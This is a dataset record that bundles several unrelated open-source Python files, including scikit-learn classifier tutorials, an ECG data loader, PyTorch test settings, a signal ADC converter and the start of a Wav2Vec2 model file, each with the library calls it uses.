KNeighborsClassifier, 'CART' DecisionTreeClassifier, 'NB' GaussianNB, 'SVM' SVC ...\")\n # Spot Check Algorithms\n models = []\n models.append(('LR', LogisticRegression()))\n models.append(('LDA', LinearDiscriminantAnalysis()))\n models.append(('KNN', KNeighborsClassifier()))\n models.append(('CART', DecisionTreeClassifier()))\n models.append(('NB', GaussianNB()))\n models.append(('SVM', SVC()))\n # evaluate each model in turn\n results = []\n names = []\n # Q: Print Evaluation?\n if input(\"Would you like view the evaluation of each model? (Y/N): \") == \"Y\":\n for name, model in models:\n\t kfold = model_selection.KFold(n_splits=10, random_state=seed)\n\t cv_results = model_selection.cross_val_score(model, X_train, Y_train, cv=kfold, scoring=scoring)\n\t results.append(cv_results)\n\t names.append(name)\n\t msg = \"%s: %f (%f)\" % (name, cv_results.mean(), cv_results.std())\n\t print(msg)\n \n # Q: Print Evaluation #2?\n if input(\"Would you like view a box and whisker plot of each model? (Y/N): \") == \"Y\":\n # Compare Algorithms\n fig = plt.figure()\n fig.suptitle('Algorithm Comparison')\n ax = fig.add_subplot(111)\n plt.boxplot(results)\n ax.set_xticklabels(names)\n plt.show()\n \n print(\"SVM is the most accurate...\") # According to the tutorial KNN is the most accurate. This could not be replicated. The below model is based on what was noted as the most accurate.\n # Q: Make Predictions?\n if input(\"Would you like to Make Predictions using the remaining 0.2 of the data? (Y/N): \") == \"Y\":\n # Make predictions on validation dataset\n SVM = SVC()\n SVM.fit(X_train, Y_train)\n predictions = SVM.predict(X_validation)\n print(accuracy_score(Y_validation, predictions))\n print(confusion_matrix(Y_validation, predictions))\n print(classification_report(Y_validation, predictions))" ]
[ [ "sklearn.metrics.confusion_matrix", "pandas.read_csv", "sklearn.model_selection.cross_val_score", "matplotlib.pyplot.subplots", "sklearn.svm.SVC", "sklearn.metrics.accuracy_score", "pandas.tools.plotting.scatter_matrix", "sklearn.discriminant_analysis.LinearDiscriminantAnalysis", "sklearn.neighbors.KNeighborsClassifier", "matplotlib.pyplot.boxplot", "matplotlib.pyplot.close", "sklearn.naive_bayes.GaussianNB", "matplotlib.pyplot.figure", "sklearn.tree.DecisionTreeClassifier", "sklearn.model_selection.KFold", "sklearn.model_selection.train_test_split", "matplotlib.pyplot.show", "sklearn.metrics.classification_report", "sklearn.linear_model.LogisticRegression" ] ]
quqixun/ECG-MLC
[ "582d68200b79e3b2ac322c1ed17630727e283605" ]
[ "round1/code/train/ecg_loader.py" ]
[ "import os\nimport torch\nimport numpy as np\n\nfrom torch.utils.data import Dataset, DataLoader\n\n\n# Mean and Std of train set\nECG_MEAN = np.array(\n [0.618, 0.974, 0.080, 1.172, 1.415, 1.419,\n 1.187, 0.954, 0.356, -0.796, 0.131, 0.665]\n).reshape((-1, 1))\nECG_STD = np.array(\n [24.862, 33.086, 39.441, 62.491, 59.789, 64.328,\n 58.257, 50.321, 25.534, 26.332, 19.010, 26.810]\n).reshape((-1, 1))\n\n\nclass ECGDataset(Dataset):\n\n def __init__(self, dataset, is_train):\n super(ECGDataset, self).__init__()\n\n self.dataset = dataset\n self.is_train = is_train\n return\n\n def __len__(self):\n return len(self.dataset)\n\n def __augment(self, ecg):\n ecg_tmp = np.copy(ecg)\n channels, length = ecg.shape\n\n if np.random.randn() > 0.8:\n scale = np.random.normal(loc=1.0, scale=0.1, size=(channels, 1))\n scale = np.matmul(scale, np.ones((1, length)))\n ecg_tmp = ecg_tmp * scale\n\n if np.random.randn() > 0.8:\n for c in range(channels):\n offset = np.random.choice(range(-5, 5))\n ecg_tmp[c, :] += offset\n return ecg_tmp\n\n def __load_ecg(self, ecg_path):\n with open(ecg_path, 'r') as f:\n content = f.readlines()\n\n content = [list(map(int, c.strip().split())) for c in content[1:]]\n ecg = np.array(content).transpose()\n\n I, II = ecg[0], ecg[1]\n III = np.expand_dims(II - I, axis=0)\n aVR = np.expand_dims(-(I + II) / 2, axis=0)\n aVL = np.expand_dims(I - II / 2, axis=0)\n aVF = np.expand_dims(II - I / 2, axis=0)\n ecg = np.concatenate([ecg, III, aVR, aVL, aVF], axis=0)\n return ecg\n\n def __getitem__(self, index):\n sample = self.dataset[index]\n ID, ecg_dir, label = sample[0].split('.')[0], sample[1], sample[4:]\n ecg_path = os.path.join(ecg_dir, ID + '.txt')\n\n ecg = self.__load_ecg(ecg_path)\n ecg = (ecg - ECG_MEAN) / ECG_STD\n if self.is_train:\n ecg = self.__augment(ecg)\n return torch.FloatTensor(ecg), torch.FloatTensor(label)\n\n\nclass ECGLoader():\n\n def __init__(self, dataset, batch_size, is_train, num_threads=2):\n self.dataset = dataset\n self.is_train = is_train\n self.batch_size = batch_size\n self.num_threads = num_threads\n return\n\n def build(self):\n ecg_dataset = ECGDataset(self.dataset, self.is_train)\n dataloader = DataLoader(\n ecg_dataset, batch_size=self.batch_size,\n shuffle=True, num_workers=self.num_threads,\n pin_memory=False\n )\n return dataloader\n" ]
[ [ "numpy.concatenate", "numpy.random.normal", "numpy.array", "numpy.copy", "torch.FloatTensor", "numpy.random.randn", "numpy.ones", "torch.utils.data.DataLoader", "numpy.expand_dims" ] ]
jigargandhi/UdemyMachineLearning
[ "e01b0cba28ad75d0cb5a284dc9c9665645f31771" ]
[ "Machine Learning A-Z Template Folder/Part 9 - Dimensionality Reduction/Section 44 - Linear Discriminant Analysis (LDA)/j_lda.py" ]
[ "# -*- coding: utf-8 -*-\n#Note: LDA considers dependent variable and hence it is supervised\n# This should be used for Linear models \nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n#importing libraries\ndataset= pd.read_csv(\"Wine.csv\")\nX= dataset.iloc[:,0:13].values\ny = dataset.iloc[:,13].values\n\n#split\nfrom sklearn.cross_validation import train_test_split\nX_train, X_test, y_train, y_test = train_test_split(X,y, test_size = 0.2, random_state = 0)\n\n#Note: Feature Scaling must be applied when doing feature extraction using PCA/LDA\n#feature scaling\nfrom sklearn.preprocessing import StandardScaler\nsc_X= StandardScaler()\nX_train = sc_X.fit_transform(X_train)\nX_test = sc_X.transform(X_test)\n\n\n# Apply Linear Discriminant model\nfrom sklearn.discriminant_analysis import LinearDiscriminantAnalysis\nlda = LinearDiscriminantAnalysis(n_components=2)\nX_train = lda.fit_transform(X_train, y_train)\nX_test = lda.transform(X_test)\n#logistic regression\nfrom sklearn.linear_model import LogisticRegression\n# since our classifier is a linear classifier the prediction boundary will be a straight line\n# this is the most simplest classifier\nclassifier = LogisticRegression(random_state=0)\nclassifier.fit(X_train,y_train)\n\n#prediction\ny_pred= classifier.predict(X_test)\n\n#making confusion matrix\nfrom sklearn.metrics import confusion_matrix\ncm= confusion_matrix(y_test, y_pred)\n\n#visualizing\nfrom matplotlib.colors import ListedColormap\nX_set, y_set = X_train, y_train\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green','blue')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green','blue'))(i), label = j)\nplt.title('Logistic Regression (Training set)')\nplt.xlabel('LDA1')\nplt.ylabel('LDA2')\nplt.legend()\nplt.show()\n\nfrom matplotlib.colors import ListedColormap\nX_set, y_set = X_test, y_test\nX1, X2 = np.meshgrid(np.arange(start = X_set[:, 0].min() - 1, stop = X_set[:, 0].max() + 1, step = 0.01),\n np.arange(start = X_set[:, 1].min() - 1, stop = X_set[:, 1].max() + 1, step = 0.01))\nplt.contourf(X1, X2, classifier.predict(np.array([X1.ravel(), X2.ravel()]).T).reshape(X1.shape),\n alpha = 0.75, cmap = ListedColormap(('red', 'green','blue')))\nplt.xlim(X1.min(), X1.max())\nplt.ylim(X2.min(), X2.max())\nfor i, j in enumerate(np.unique(y_set)):\n plt.scatter(X_set[y_set == j, 0], X_set[y_set == j, 1],\n c = ListedColormap(('red', 'green','blue'))(i), label = j)\nplt.title('Logistic Regression (Test set)')\nplt.xlabel('LDA1')\nplt.ylabel('LDA2')\nplt.legend()\nplt.show()" ]
[ [ "sklearn.discriminant_analysis.LinearDiscriminantAnalysis", "sklearn.metrics.confusion_matrix", "sklearn.preprocessing.StandardScaler", "matplotlib.pyplot.xlabel", "matplotlib.pyplot.title", "matplotlib.pyplot.legend", "matplotlib.colors.ListedColormap", "sklearn.linear_model.LogisticRegression", "matplotlib.pyplot.ylabel", "matplotlib.pyplot.show", "pandas.read_csv", "sklearn.cross_validation.train_test_split", "numpy.unique" ] ]
ProbabilisticNumerics/backpack
[ "05f9a41603ec670d8a34d057e8670c09be0ac516" ]
[ "test/extensions/firstorder/firstorder_settings.py" ]
[ "\"\"\"Test configurations for `backpack.core.extensions.firstorder`\nthat is shared among the following firstorder methods:\n- batch_grad\n- batch_l2_grad\n- sum_grad_sqaured\n- variance\n\n\nRequired entries:\n \"module_fn\" (callable): Contains a model constructed from `torch.nn` layers\n \"input_fn\" (callable): Used for specifying input function\n \"target_fn\" (callable): Fetches the groundtruth/target classes \n of regression/classification task\n \"loss_function_fn\" (callable): Loss function used in the model\n\nOptional entries:\n \"device\" [list(torch.device)]: List of devices to run the test on.\n \"id_prefix\" (str): Prefix to be included in the test name.\n \"seed\" (int): seed for the random number for torch.rand\n\"\"\"\n\n\nfrom test.core.derivatives.utils import classification_targets, regression_targets\nfrom test.extensions.automated_settings import make_simple_cnn_setting\n\nimport torch\nfrom torch.nn import (\n Conv1d,\n Conv2d,\n Conv3d,\n ConvTranspose1d,\n ConvTranspose2d,\n ConvTranspose3d,\n)\n\nFIRSTORDER_SETTINGS = []\n\n###############################################################################\n# examples #\n###############################################################################\n\nexample = {\n \"input_fn\": lambda: torch.rand(3, 10),\n \"module_fn\": lambda: torch.nn.Sequential(torch.nn.Linear(10, 5)),\n \"loss_function_fn\": lambda: torch.nn.CrossEntropyLoss(reduction=\"sum\"),\n \"target_fn\": lambda: classification_targets((3,), 5),\n \"device\": [torch.device(\"cpu\")],\n \"seed\": 0,\n \"id_prefix\": \"example\",\n}\nFIRSTORDER_SETTINGS.append(example)\n\n###############################################################################\n# test setting: Linear Layers #\n###############################################################################\n\nFIRSTORDER_SETTINGS += [\n # classification\n {\n \"input_fn\": lambda: torch.rand(3, 10),\n \"module_fn\": lambda: torch.nn.Sequential(\n torch.nn.Linear(10, 7), torch.nn.Linear(7, 5)\n ),\n \"loss_function_fn\": lambda: torch.nn.CrossEntropyLoss(reduction=\"mean\"),\n \"target_fn\": lambda: classification_targets((3,), 5),\n },\n {\n \"input_fn\": lambda: torch.rand(3, 10),\n \"module_fn\": lambda: torch.nn.Sequential(\n torch.nn.Linear(10, 7), torch.nn.ReLU(), torch.nn.Linear(7, 5)\n ),\n \"loss_function_fn\": lambda: torch.nn.CrossEntropyLoss(reduction=\"sum\"),\n \"target_fn\": lambda: classification_targets((3,), 5),\n },\n # Regression\n {\n \"input_fn\": lambda: torch.rand(3, 10),\n \"module_fn\": lambda: torch.nn.Sequential(\n torch.nn.Linear(10, 7), torch.nn.Sigmoid(), torch.nn.Linear(7, 5)\n ),\n \"loss_function_fn\": lambda: torch.nn.MSELoss(reduction=\"mean\"),\n \"target_fn\": lambda: regression_targets((3, 5)),\n },\n]\n\n###############################################################################\n# test setting: Convolutional Layers #\n\"\"\"\nSyntax with default parameters: \n - `torch.nn.ConvNd(in_channels, out_channels, \n kernel_size, stride=1, padding=0, dilation=1, \n groups=1, bias=True, padding_mode='zeros)` \n\n - `torch.nn.ConvTransposeNd(in_channels, out_channels, \n kernel_size, stride=1, padding=0, output_padding=0, \n groups=1, bias=True, dilation=1, padding_mode='zeros)`\n\nNote: There are 5 tests added to each `torch.nn.layers`. \nFor `torch.nn.ConvTranspose2d` and `torch.nn.ConvTranspose3d`\nonly 3 tests are added because they are very memory intensive. \n\"\"\"\n###############################################################################\n\nFIRSTORDER_SETTINGS += [\n # Conv1d\n make_simple_cnn_setting((3, 3, 7), Conv1d, (3, 2, 2)),\n # test dilation & stride\n make_simple_cnn_setting((3, 2, 7), Conv1d, (2, 3, 2, 2, 0, 2)),\n # test stride & padding\n make_simple_cnn_setting((3, 3, 7), Conv1d, (3, 2, 2, 2, 1)),\n # test stride & padding & dilation\n make_simple_cnn_setting((3, 3, 8), Conv1d, (3, 6, 2, 4, 2, 3)),\n # test bias\n make_simple_cnn_setting((3, 3, 7), Conv1d, (3, 2, 2, 4, 2, 1, 1, False)),\n # Conv2d\n make_simple_cnn_setting((3, 3, 7, 7), Conv2d, (3, 2, 2)),\n make_simple_cnn_setting((3, 2, 7, 7), Conv2d, (2, 3, 2, 2, 0, 2)),\n make_simple_cnn_setting((3, 3, 7, 7), Conv2d, (3, 2, 2, 2, 1)),\n make_simple_cnn_setting((3, 3, 8, 8), Conv2d, (3, 6, 2, 4, 2, 3)),\n make_simple_cnn_setting((3, 3, 7, 7), Conv2d, (3, 2, 2, 4, 2, 1, 1, False)),\n # Conv3d\n make_simple_cnn_setting((3, 3, 2, 7, 7), Conv3d, (3, 2, 2)),\n make_simple_cnn_setting((3, 2, 3, 7, 7), Conv3d, (2, 3, 2, 2, 0, 2)),\n make_simple_cnn_setting((3, 3, 2, 7, 7), Conv3d, (3, 2, 2, 3, 2)),\n make_simple_cnn_setting((3, 3, 4, 8, 8), Conv3d, (3, 6, 2, 4, 2, 3)),\n make_simple_cnn_setting((3, 3, 2, 7, 7), Conv3d, (3, 2, 2, 4, 2, 1, 1, False)),\n # ConvTranspose1d\n make_simple_cnn_setting((3, 3, 7), ConvTranspose1d, (3, 2, 2)),\n # test dilation & stride\n make_simple_cnn_setting((3, 2, 7), ConvTranspose1d, (2, 3, 2, 2, 0, 0, 1, True, 2)),\n # test stride & padding\n make_simple_cnn_setting((3, 3, 7), ConvTranspose1d, (3, 2, 2, 2, 1)),\n # test stride & padding & dilation\n make_simple_cnn_setting((3, 3, 8), ConvTranspose1d, (3, 6, 2, 4, 2, 0, 1, True, 3)),\n # test bias\n make_simple_cnn_setting((3, 3, 7), ConvTranspose1d, (3, 2, 2, 4, 2, 0, 1, False)),\n # ConvTranspose2d\n make_simple_cnn_setting((3, 3, 7, 7), ConvTranspose2d, (3, 2, 2)),\n make_simple_cnn_setting(\n (3, 2, 9, 9), ConvTranspose2d, (2, 4, 2, 1, 0, 0, 1, True, 2)\n ),\n make_simple_cnn_setting((3, 3, 7, 7), ConvTranspose2d, (3, 2, 2, 2, 1)),\n make_simple_cnn_setting(\n (3, 3, 7, 7), ConvTranspose2d, (3, 2, 2, 4, 2, 0, 1, False)\n ),\n # ConvTranspose3d\n make_simple_cnn_setting((3, 3, 2, 7, 7), ConvTranspose3d, (3, 2, 2)),\n make_simple_cnn_setting(\n (3, 2, 3, 5, 5), ConvTranspose3d, (2, 3, 2, 2, 2, 0, 1, True, 2)\n ),\n make_simple_cnn_setting(\n (3, 3, 2, 7, 7), ConvTranspose3d, (3, 2, 2, 4, 2, 0, 1, False)\n ),\n]\n" ]
[ [ "torch.nn.Linear", "torch.rand", "torch.device", "torch.nn.MSELoss", "torch.nn.Sigmoid", "torch.nn.ReLU", "torch.nn.CrossEntropyLoss" ] ]
enthought/sandia-data-archive
[ "5923798f61c80771d69ff7500446b711921159a7" ]
[ "sdafile/character_inserter.py" ]
[ "import numpy as np\n\nfrom .record_inserter import SimpleRecordInserter, inserter\n\n\n@inserter\nclass ArrayInserter(SimpleRecordInserter):\n \"\"\" Inserter for character arrays. \"\"\"\n\n record_type = 'character'\n\n @staticmethod\n def can_insert(data):\n \"\"\" Insert boolean arrays. \"\"\"\n if not isinstance(data, np.ndarray):\n return False\n return data.dtype == np.dtype('S1')\n\n def prepare_data(self):\n data = self.data.view(np.uint8)\n # Matlab stores the transpose of 2D arrays. This must be applied here.\n self.data = np.atleast_2d(data).T\n self.empty = 'yes' if self.data.size == 0 else 'no'\n\n\n@inserter\nclass StringInserter(ArrayInserter):\n \"\"\" Inserter for strings. \"\"\"\n\n @staticmethod\n def can_insert(data):\n \"\"\" Insert bool and np.bool_ \"\"\"\n return isinstance(data, (str, np.unicode))\n\n def prepare_data(self):\n self.data = np.frombuffer(self.data.encode('ascii'), 'S1')\n ArrayInserter.prepare_data(self)\n\n\nif bytes is str: # python 3\n\n BytesInserter = StringInserter\n\nelse: # python 2\n\n @inserter\n class BytesInserter(ArrayInserter):\n \"\"\" Inserter for bytes. \"\"\"\n\n @staticmethod\n def can_insert(data):\n \"\"\" Insert bytes. \"\"\"\n return isinstance(data, bytes)\n\n def prepare_data(self):\n self.data = np.frombuffer(self.data, 'S1')\n ArrayInserter.prepare_data(self)\n" ]
[ [ "numpy.frombuffer", "numpy.dtype", "numpy.atleast_2d" ] ]
mbonyani/uavSim
[ "3b09f9239642309ade595eed4bdbc460ee8024a8" ]
[ "src/ModelStats.py" ]
[ "import collections\nimport datetime\nimport os\nimport shutil\n\nimport tensorflow as tf\nimport numpy as np\nimport progressbar\nimport distutils.util\n\n\nclass ModelStatsParams:\n def __init__(self,\n save_model='models/save_model',\n moving_average_length=50):\n self.save_model = save_model\n self.moving_average_length = moving_average_length\n self.log_file_name = datetime.datetime.now().strftime(\"%Y%m%d-%H%M%S\")\n self.training_images = False\n\n\nclass ModelStats:\n\n def __init__(self, params: ModelStatsParams, display, force_override=False):\n self.params = params\n self.display = display\n\n self.evaluation_value_callback = None\n self.env_map_callback = None\n self.log_value_callbacks = []\n self.trajectory = []\n\n self.log_dir = \"logs/training/\" + params.log_file_name\n self.tensorboard_callback = tf.keras.callbacks.TensorBoard(log_dir=self.log_dir,\n histogram_freq=100)\n self.model = None\n\n if os.path.isdir(self.log_dir):\n if force_override:\n shutil.rmtree(self.log_dir)\n else:\n print(self.log_dir, 'already exists.')\n resp = input('Override log file? [Y/n]\\n')\n if resp == '' or distutils.util.strtobool(resp):\n print('Deleting old log dir')\n shutil.rmtree(self.log_dir)\n else:\n raise AttributeError('Okay bye')\n\n self.training_log_writer = tf.summary.create_file_writer(self.log_dir + '/training')\n self.testing_log_writer = tf.summary.create_file_writer(self.log_dir + '/test')\n\n self.evaluation_deque = collections.deque(maxlen=params.moving_average_length)\n self.eval_best = -float('inf')\n self.bar = None\n\n def set_evaluation_value_callback(self, callback: callable):\n self.evaluation_value_callback = callback\n\n def add_experience(self, experience):\n self.trajectory.append(experience)\n\n def set_model(self, model):\n self.tensorboard_callback.set_model(model)\n self.model = model\n\n def set_env_map_callback(self, callback: callable):\n self.env_map_callback = callback\n\n def add_log_data_callback(self, name: str, callback: callable):\n self.log_value_callbacks.append((name, callback))\n\n def log_training_data(self, step):\n\n with self.training_log_writer.as_default():\n self.log_data(step, self.params.training_images)\n\n def log_testing_data(self, step):\n with self.testing_log_writer.as_default():\n self.log_data(step)\n\n if self.evaluation_value_callback:\n self.evaluation_deque.append(self.evaluation_value_callback())\n\n def log_data(self, step, images=True):\n\n for callback in self.log_value_callbacks:\n tf.summary.scalar(callback[0], callback[1](), step=step)\n if images:\n trajectory = self.display.display_episode(self.env_map_callback(), trajectory=self.trajectory)\n tf.summary.image('trajectory', trajectory,\n step=step)\n\n def save_if_best(self):\n if len(self.evaluation_deque) < self.params.moving_average_length:\n return\n\n eval_mean = np.mean(self.evaluation_deque)\n if eval_mean > self.eval_best:\n self.eval_best = eval_mean\n if self.params.save_model != '':\n print('Saving best with:', eval_mean)\n self.model.save_weights(self.params.save_model + '_best')\n\n def get_log_dir(self):\n return self.log_dir\n\n def training_ended(self):\n\n if self.params.save_model != '':\n self.model.save_weights(self.params.save_model + '_unfinished')\n print('Model saved as', self.params.save_model + '_unfinished')\n\n def save_episode(self, save_path):\n f = open(save_path + \".txt\", \"w\")\n\n for callback in self.log_value_callbacks:\n f.write(callback[0] + ' ' + str(callback[1]()) + '\\n')\n f.close()\n\n def on_episode_begin(self, episode_count):\n self.tensorboard_callback.on_epoch_begin(episode_count)\n self.trajectory = []\n\n def on_episode_end(self, episode_count):\n self.tensorboard_callback.on_epoch_end(episode_count)\n\n" ]
[ [ "tensorflow.keras.callbacks.TensorBoard", "tensorflow.summary.create_file_writer", "tensorflow.summary.image", "numpy.mean" ] ]
TheDeMuZ/SignalGenerator
[ "8140af5d99e34428b8aade47d208f5eb29c257dc" ]
[ "cps/converter/adc.py" ]
[ "import math\n\nfrom numpy import arange\n\nimport cps.converter.measures\nfrom ..signal.signal import Signal\n\n\ndef __floor(a):\n return complex(math.floor(a.real), math.floor(a.imag))\n\n\ndef __distance(a, b):\n return ((a.real - b.real) ** 2 + (a.imag - b.imag) ** 2) ** 0.5\n\n\ndef __range(start, stop, step):\n values = []\n\n if step.real != 0.0:\n if step.imag != 0.0:\n for x in arange(start.real, stop.real, step.real):\n for y in arange(start.imag, stop.imag, step.imag):\n values.append(complex(x, y))\n\n else:\n for x in arange(start.real, stop.real, step.real):\n values.append(complex(x, 0.0))\n\n elif step.imag != 0.0:\n for y in arange(start.imag, stop.imag, step.imag):\n values.append(complex(0.0, y))\n\n else:\n pass\n\n return values\n\n\ndef pseudoAnalogSignal(signal):\n analog_x, analog_y = [], []\n\n T = 0.001\n\n for time in arange(signal.t1, signal.t1 + signal.d + T, T):\n analog_x.append(time)\n analog_y.append(signal.function(None, time))\n\n return analog_x, analog_y\n\n\ndef evenSampling(signal):\n digital_x, digital_y = [], []\n\n T = 1.0 / signal.adc_f\n\n for time in arange(signal.t1, signal.t1 + signal.d + T, T):\n digital_x.append(time)\n digital_y.append(signal.function(None, time))\n\n return digital_x, digital_y\n\n\ndef roundedEvenQuantization(signal):\n _, analog_y = pseudoAnalogSignal(signal)\n quantized_x, quantized_y = [], []\n\n minA_re = abs(min([v.real for v in analog_y]))\n minA_im = abs(min([v.imag for v in analog_y]))\n\n maxA_re = abs(max([v.real for v in analog_y]))\n maxA_im = abs(max([v.imag for v in analog_y]))\n\n A_re = (minA_re > maxA_re) and (minA_re) or (maxA_re)\n A_im = (minA_im > maxA_im) and (minA_im) or (maxA_im)\n\n A = complex(A_re, A_im)\n q = A / (2 ** (signal.adc_bits - 1))\n\n T = 1.0 / signal.adc_f\n\n for time in arange(signal.t1, signal.t1 + signal.d + T, T):\n value = signal.function(None, time)\n\n possibleValues = __range(-A, A + q, q)\n minDistance = float(\"inf\")\n targetValue = None\n\n for v in possibleValues:\n distance = __distance(value, v)\n\n if distance < minDistance:\n minDistance = distance\n targetValue = v\n\n quantized_x.append(time)\n quantized_y.append(targetValue)\n\n return quantized_x, quantized_y" ]
[ [ "numpy.arange" ] ]
cakiki/transformers
[ "c16d6e3632107d2750ca125634668a6f64585f49" ]
[ "src/transformers/models/wav2vec2/modeling_wav2vec2.py" ]
[ "# coding=utf-8\n# Copyright 2021 The Fairseq Authors and the HuggingFace Inc. team. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\" PyTorch Wav2Vec2 model. \"\"\"\n\nimport math\nimport warnings\nfrom dataclasses import dataclass\nfrom typing import Optional, Tuple, Union\n\nimport numpy as np\nimport torch\nimport torch.utils.checkpoint\nfrom torch import nn\nfrom torch.nn import CrossEntropyLoss\n\nfrom ...activations import ACT2FN\nfrom ...deepspeed import is_deepspeed_zero3_enabled\nfrom ...file_utils import (\n ModelOutput,\n add_code_sample_docstrings,\n add_start_docstrings,\n add_start_docstrings_to_model_forward,\n replace_return_docstrings,\n)\nfrom ...modeling_outputs import BaseModelOutput, CausalLMOutput, MaskedLMOutput, SequenceClassifierOutput\nfrom ...modeling_utils import PreTrainedModel\nfrom ...utils import logging\nfrom .configuration_wav2vec2 import Wav2Vec2Config\n\n\nlogger = logging.get_logger(__name__)\n\n_CONFIG_FOR_DOC = \"Wav2Vec2Config\"\n_CHECKPOINT_FOR_DOC = \"facebook/wav2vec2-base-960h\"\n_PROCESSOR_FOR_DOC = \"Wav2Vec2Processor\"\n\n_SEQ_CLASS_CHECKPOINT = (\"superb/wav2vec2-base-superb-ks\",)\n_SEQ_CLASS_PROCESSOR_FOR_DOC = \"Wav2Vec2FeatureExtractor\"\n\n_HIDDEN_STATES_START_POSITION = 2\n\n\nWAV_2_VEC_2_PRETRAINED_MODEL_ARCHIVE_LIST = [\n \"facebook/wav2vec2-base-960h\",\n \"facebook/wav2vec2-large-960h\",\n \"facebook/wav2vec2-large-960h-lv60\",\n \"facebook/wav2vec2-large-960h-lv60-self\",\n # See all Wav2Vec2 models at https://huggingface.co/models?filter=wav2vec2\n]\n\n\n@dataclass\nclass Wav2Vec2BaseModelOutput(ModelOutput):\n \"\"\"\n Output type of :class:`~transformers.Wav2Vec2BaseModelOutput`, with potential hidden states and attentions.\n\n Args:\n last_hidden_state (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, hidden_size)`):\n Sequence of hidden-states at the output of the last layer of the model.\n extract_features (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, conv_dim[-1])`):\n Sequence of extracted feature vectors of the last convolutional layer of the model.\n hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):\n Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)\n of shape :obj:`(batch_size, sequence_length, hidden_size)`.\n\n Hidden-states of the model at the output of each layer plus the initial embedding outputs.\n attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):\n Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,\n sequence_length, sequence_length)`.\n\n Attentions weights after the attention softmax, used to compute the weighted average in the self-attention\n heads.\n \"\"\"\n\n last_hidden_state: torch.FloatTensor = None\n extract_features: torch.FloatTensor = None\n hidden_states: Optional[Tuple[torch.FloatTensor]] = None\n attentions: Optional[Tuple[torch.FloatTensor]] = None\n\n\n@dataclass\nclass Wav2Vec2ForPreTrainingOutput(ModelOutput):\n \"\"\"\n Output type of :class:`~transformers.Wav2Vec2ForPreTrainingOutput`, with potential hidden states and attentions.\n\n Args:\n loss (`optional`, returned when :obj:`sample_negative_indices` are passed, ``torch.FloatTensor`` of shape :obj:`(1,)`):\n Total loss as the sum of the contrastive loss (L_m) and the diversity loss (L_d) as stated in the `official\n paper <https://arxiv.org/pdf/2006.11477.pdf>`__ . (classification) loss.\n projected_states (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.proj_codevector_dim)`):\n Hidden-states of the model projected to `config.proj_codevector_dim` that can be used to predict the masked\n projected quantized states.\n projected_quantized_states (:obj:`torch.FloatTensor` of shape :obj:`(batch_size, sequence_length, config.proj_codevector_dim)`):\n Quantized extracted feature vectors projected to `config.proj_codevector_dim` representing the positive\n target vectors for contrastive loss.\n hidden_states (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_hidden_states=True`` is passed or when ``config.output_hidden_states=True``):\n Tuple of :obj:`torch.FloatTensor` (one for the output of the embeddings + one for the output of each layer)\n of shape :obj:`(batch_size, sequence_length, hidden_size)`.\n\n Hidden-states of the model at the output of each layer plus the initial embedding outputs.\n attentions (:obj:`tuple(torch.FloatTensor)`, `optional`, returned when ``output_attentions=True`` is passed or when ``config.output_attentions=True``):\n Tuple of :obj:`torch.FloatTensor` (one for each layer) of shape :obj:`(batch_size, num_heads,\n sequence_length, sequence_length)`.\n\n Attentions weights after the attention softmax, used to compute the weighted average in the self-attention\n heads.\n contrastive_loss (`optional`, returned when :obj:`sample_negative_indices` are passed, ``torch.FloatTensor`` of shape :obj:`(1,)`):\n The contrastive loss (L_m) as stated in the `official paper <https://arxiv.org/pdf/2006.11477.pdf>`__ .\n diversity_loss (`optional`, returned when :obj:`sample_negative_indices` are passed, ``torch.FloatTensor`` of shape :obj:`(1,)`):\n The diversity loss (L_d) as stated in the `official paper <https://arxiv.org/pdf/2006.11477.pdf>`__ .\n \"\"\"\n\n loss: Optional[torch.FloatTensor] = None\n projected_states: torch.FloatTensor = None\n projected_quantized_states: torch.FloatTensor = None\n codevector_perplexity: torch.FloatTensor = None\n hidden_states: Optional[Tuple[torch.FloatTensor]] = None\n attentions: Optional[Tuple[torch.FloatTensor]] = None\n contrastive_loss: Optional[torch.FloatTensor] = None\n diversity_loss: Optional[torch.FloatTensor] = None\n\n\ndef _compute_mask_indices(\n shape: Tuple[int, int],\n mask_prob: float,\n mask_length: int,\n attention_mask: Optional[torch.LongTensor] = None,\n min_masks: int = 0,\n) -> np.ndarray:\n \"\"\"\n Computes random mask spans for a given shape. Used to implement `SpecAugment: A Simple Data Augmentation Method for\n ASR <https://arxiv.org/abs/1904.08779>`__. Note that this method is not optimized to run on TPU and should be run\n on CPU as part of the preprocessing during training.\n\n Args:\n shape: the the shape for which to compute masks.\n should be of size 2 where first element is batch size and 2nd is timesteps\n mask_prob: probability for each token to be chosen as start of the span to be masked. this will be multiplied by\n number of timesteps divided by length of mask span to mask approximately this percentage of all elements.\n however due to overlaps, the actual number will be smaller (unless no_overlap is True)\n mask_length: size of the mask\n min_masks: minimum number of masked spans\n \"\"\"\n batch_size, sequence_length = shape\n\n if mask_length < 1:\n raise ValueError(\"`mask_length` has to be 